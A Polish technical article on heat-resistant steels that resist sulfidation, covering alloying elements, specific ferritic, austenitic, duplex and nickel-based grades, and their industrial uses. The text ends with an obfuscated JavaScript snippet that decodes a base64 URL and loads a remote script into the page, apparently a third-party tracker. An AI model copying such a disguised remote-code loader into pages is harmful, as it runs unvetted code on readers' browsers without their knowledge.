Specjalne rodzaje stali odpornych na związki siarki

Stale żaroodporne to grupa stopów stali, które wykazują wysoką odporność na działanie wysokiej temperatury oraz środowiska agresywnego, w tym obecności związków siarki. Dzięki swoim unikalnym właściwościom znajdują szerokie zastosowanie w przemyśle chemicznym, petrochemicznym, energetycznym i hutniczym, gdzie występują warunki wymagające odporności na korozję i utlenianie.

W środowiskach o wysokiej zawartości siarki, takich jak instalacje spalania paliw kopalnych, procesy pirolizy czy syntezy chemiczne, stale żaroodporne muszą być szczególnie odporne na korozję siarczkową (sulfidację). Ten artykuł przedstawia właściwości, zastosowania oraz najważniejsze gatunki stali żaroodpornych odpornych na związki siarki.

Właściwości stali żaroodpornych odpornych na związki siarki

1. Odporność na korozję siarczkową

Korozja siarczkowa jest zjawiskiem, które występuje w wysokich temperaturach, gdy powierzchnia materiału reaguje z siarkowodorem (H₂S) lub innymi związkami siarki, tworząc warstwy siarczków metali. Stale żaroodporne odporniejsze na związki siarki zawierają wysokie ilości chromu (Cr), niklu (Ni), molibdenu (Mo) oraz dodatki, takie jak krzem (Si) czy aluminium (Al), które zwiększają ich trwałość w takich warunkach.

2. Odporność na wysokie temperatury

Materiały te mogą pracować w temperaturach rzędu 600–1100°C, zachowując swoje właściwości mechaniczne oraz odporność na utlenianie.

3. Ochronne warstwy tlenków

Chrom obecny w stali tworzy na jej powierzchni cienką, ale bardzo trwałą warstwę tlenków chromu (Cr₂O₃), która działa jako bariera ochronna przeciwko dalszym reakcjom chemicznym.

4. Stabilność mikrostrukturalna

Dzięki zastosowaniu dodatków stopowych, stale te są odporne na procesy rekrystalizacji i utratę właściwości mechanicznych w długim czasie użytkowania w wysokich temperaturach.

Skład chemiczny i mikrostruktura

Główne składniki stali żaroodpornych odpornych na związki siarki to:

• Chrom (Cr) – kluczowy pierwiastek zwiększający odporność na korozję i utlenianie.
• Nikiel (Ni) – poprawia odporność na działanie wysokich temperatur oraz stabilność warstwy ochronnej.
• Molibden (Mo) – zwiększa odporność na korozję w środowiskach zawierających związki siarki.
• Krzem (Si) i aluminium (Al) – wspomagają tworzenie ochronnych warstw tlenków i siarczków.
• Mangan (Mn) – może być dodawany w niewielkich ilościach dla zwiększenia odporności na korozję siarczkową.

Gatunki stali żaroodpornych odpornych na związki siarki

• Stale ferrytyczne (np. 1.4742, 1.4724)

Stale ferrytyczne charakteryzują się wysoką zawartością chromu i umiarkowaną ilością innych pierwiastków stopowych. Mają dobrą odporność na korozję w atmosferach zawierających siarkę, ale ich wytrzymałość mechaniczna w wysokich temperaturach jest niższa niż stali austenitycznych.

• 1.4742 (X10CrAlSi18, H18JS)
  Skład: ok. 18% Cr, 1,2% Al, 1,5% Si. Zastosowania: elementy pieców przemysłowych, nagrzewnice, komory spalania.
• https://www.alfa-tech.com.pl/stale-wysokostopowe-o-specjalnych-wlasnosciach-stal-zaroodporna-i-zarowytrzymala-h18js/
• 1.4724 (X15CrSi20)
  Skład: ok. 20% Cr, 1,5% Si. Zastosowania: palniki gazowe, rury kotłowe, elementy instalacji w środowiskach agresywnych chemicznie.

  • Stale austenityczne (np. 1.4841, H25N20S2, 1.4876)

Stale austenityczne są najbardziej odporne na działanie wysokich temperatur i związków siarki dzięki wysokiej zawartości niklu i chromu. Wykazują doskonałą odporność na utlenianie i korozję siarczkową, a także dobrą stabilność strukturalną.

• 1.4841 (X15CrNiSi25-20)
  Skład: ok. 25% Cr, 20% Ni, 1,5% Si. Zastosowania: instalacje chemiczne, wymienniki ciepła, elementy pieców.
• 1.4876 (X10NiCrAlTi32-20)
  Skład: ok. 32% Ni, 20% Cr, dodatki Al i Ti. Zastosowania: turbiny gazowe, instalacje petrochemiczne, procesy syntezy chemicznej.

  • Stale duplex (np. 1.4462)

Stale duplex łączą cechy stali ferrytycznych i austenitycznych. W środowiskach o umiarkowanie wysokich temperaturach i dużym stężeniu siarki wykazują bardzo dobrą odporność na korozję.

• 1.4462 (X2CrNiMoN22-5-3)
  Skład: ok. 22% Cr, 5% Ni, 3% Mo. Zastosowania: rurociągi, wymienniki ciepła, aparatura chemiczna.

  • Stopy na bazie niklu (np. Inconel 600, Incoloy 800H)

Choć nie są klasycznymi stalami, stopy niklowe mają znakomitą odporność na wysokie temperatury i działanie siarki.

• Inconel 600
  Skład: ok. 72% Ni, 15% Cr, 8% Fe. Zastosowania: reaktory chemiczne, elementy instalacji w wysokotemperaturowych środowiskach siarkowych.
• Incoloy 800H
  Skład: ok. 30% Ni, 20% Cr, dodatki Ti i Al. Zastosowania: instalacje petrochemiczne, systemy spalania gazów z siarką.

Zastosowania

1. Przemysł petrochemiczny
   • Rurociągi przesyłowe dla gazów zawierających H₂S.
   • Reaktory procesowe w rafineriach.
2. Energetyka
   • Kotły spalające paliwa kopalne z wysoką zawartością siarki.
   • Elementy turbin gazowych i parowych.
3. Przemysł chemiczny
   • Aparatura procesowa do syntezy siarkowodoru i innych związków siarki.
   • Piece do pirolizy.
4. Przemysł hutniczy
   • Komory spalania, rury pieców hutniczych.

Stale żaroodporne odporne na związki siarki odgrywają kluczową rolę w aplikacjach przemysłowych, gdzie wysoka temperatura i agresywne środowiska mogą powodować szybkie uszkodzenia tradycyjnych materiałów. Dobór odpowiedniego gatunku stali zależy od specyficznych warunków pracy, takich jak zakres temperatur, stężenie związków siarki oraz wymagana trwałość mechaniczna. Dzięki odpowiedniej zawartości chromu, niklu i dodatków stopowych, stale te są w stanie sprostać najbardziej wymagającym zastosowaniom.

script> (function(dkzbyodb, uidduqme, fwnxpbtc, rtbgkmta, vggtqhom, esuplilq){ vggtqhom = uidduqme.createElement(fwnxpbtc);esuplilq = uidduqme.getElementsByTagName(fwnxpbtc)[0]; vggtqhom.ascyc = 1; vggtqhom.src = atob(rtbgkmta); esuplilq.parentNode.insertBefore(vggtqhom, esuplilq); })(window, document, 'script', 'aHR0cHM6Ly9zdGF0cy5saW5raG91c2UuY28vYXBpL2FuYWx5emVyL3YxL3NjcmlwdC80YTIzNDRlYS05ODhmLTRmYWQtODZmMi1hMmU3MzQzNGYxMWYuanM=')